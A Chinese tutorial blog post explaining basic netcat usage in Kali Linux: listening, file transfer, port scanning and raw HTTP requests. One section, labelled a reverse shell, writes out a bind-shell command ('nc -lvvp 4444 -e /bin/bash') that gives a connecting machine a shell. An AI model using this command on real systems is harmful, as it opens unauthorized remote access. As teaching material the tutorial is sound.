一文学会“瑞士军刀“-netcat命令使用

声明!

文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!

目录标题

此工具无需安装,kali自带

前言

在Kali Linux中,nc 命令(即Netcat)是一个功能强大的网络工具,它可以用于网络调试和网络服务。Netcat可以作为一个简单的TCP或UDP客户端,也可以作为一个服务器来监听传入的连接。

基本使用

复制代码
nc -help 

查看使用帮助

翻译如下:

复制代码
连接到某处:nc [ -options ] hostname ports...
监听传入连接:nc -l -p port [ -options ] [hostname] [port]

选项:
 -c shell命令        作为'-e';使用/bin/sh来执行(非常危险!!)
 -e 文件名           连接后执行程序(非常危险!!)
 -b                  允许广播
 -g 网关             源路由跳转点(s),最多8个
 -G 数量             源路由指针:4、8、12,...
 -h                  这个帮助
 -i secs            发送行的延迟间隔,扫描的端口
 -k                  在套接字上设置保持活动选项
 -l                  监听模式,用于传入连接
 -n                  仅数字IP地址,无DNS
 -o 文件             流量的十六进制转储
 -p 端口             本地端口号
 -r                  随机化本地和远程端口
 -q secs            在标准输入上接收到EOF后退出,并延迟关闭连接
 -s 本地源地址      本地源地址
 -T tos             设置服务类型
 -t                  应答TELNET协商
 -u                  UDP模式
 -v                  详细(使用两次会更详细)
 -w secs            连接和最终读取的超时时间
 -C                  将CRLF作为行结束符发送
 -z                  零 - I/O模式(用于扫描)

端口号可以是单个或范围:lo - hi [包含];
端口名称中的连字符必须用反斜杠转义(例如,'ftp - data')。

以上命令可以结合一起使用,如下

复制代码
nc -lvvp 4444 :更加详细监听4444端口 

1. 使用监听并连接

直接监听端口或者监听对应网站的端口

复制代码
nc -l port
nc 域名 port

监听后如下

ctrl+c即可退出监听

连接输入ip和端口即可

复制代码
nc ip port

使用UDP监听

因为nc默认监听方式是TCP,有时需要使用UDP

复制代码
nc -lup port
nc -u 域名 port

2. 发送和接收文件

首先开启两个端口并创建两个文件

在a.txt写入hello

复制代码
echo 'hello' > a.txt    
nc -lvvp 4444 > 1.txt  监听4444端口并将接收的内容输入到1.txt
nc ip 4444 < a.txt    连接此ip的4444端口并将a.txt内容发送

结果如下

比较文档MD5值

复制代码
md5sum 1.txt
md5sum a.txt

通过MD5值可以比较文件或数据的完整性和一致性

3. 反弹shell

攻击机需要连接监听端口,目标机开启端口并开通/bin/bash权限

-e 连接后执行参数(比较危险的参数)

复制代码
nc -lvvp 4444 -e /bin/bash
或者 nc -nvlp 4444 -e /bin/bash
nc ip 4444

只要连接了目标主机就会自动执行/bin/bash ,从而获得权限

4. 扫描端口

开启4444端口并执行扫描

-znv : 详细扫描端口

复制代码
nc -lvvp 4444
nc -znv ip 4000-4500

可以看到成功扫描了端口

同样的,使用nmap扫描也是可以的

复制代码
nmap ip
nmap ip -p 1-65535

成功扫描

5. 发送HTTP请求

开启一个web服务,有1.txt和a.txt两个文件

执行完连接命令,可以在命令交互面板,执行下面三条语句构造一个http请求

复制代码
nc 127.0.0.1 80

GET / HTTP/1.1         GET方式
Host: 127.0.0.1        域名或ip
Connection: close      执行完毕后关闭

可以看到成功执行了命令并回显在了面板,不过这种方法不是特别方便

相关推荐
即将头秃的程序媛1 小时前
centos 7.9安装tomcat,并实现开机自启
linux·运维·centos
fangeqin1 小时前
ubuntu源码安装python3.13遇到Could not build the ssl module!解决方法
linux·python·ubuntu·openssl
爱奥尼欧2 小时前
【Linux 系统】基础IO——Linux中对文件的理解
linux·服务器·microsoft
超喜欢下雨天3 小时前
服务器安装 ros2时遇到底层库依赖冲突的问题
linux·运维·服务器·ros2
00后程序员张3 小时前
免Mac上架实战:全平台iOS App上架流程的工具协作经验
websocket·网络协议·tcp/ip·http·网络安全·https·udp
tan77º3 小时前
【Linux网络编程】网络基础
linux·服务器·网络
笑衬人心。4 小时前
Ubuntu 22.04 + MySQL 8 无密码登录问题与 root 密码重置指南
linux·mysql·ubuntu
chanalbert6 小时前
CentOS系统新手指导手册
linux·运维·centos
星宸追风6 小时前
Ubuntu更换Home目录所在硬盘的过程
linux·运维·ubuntu
热爱生活的猴子6 小时前
Poetry 在 Linux 和 Windows 系统中的安装步骤
linux·运维·windows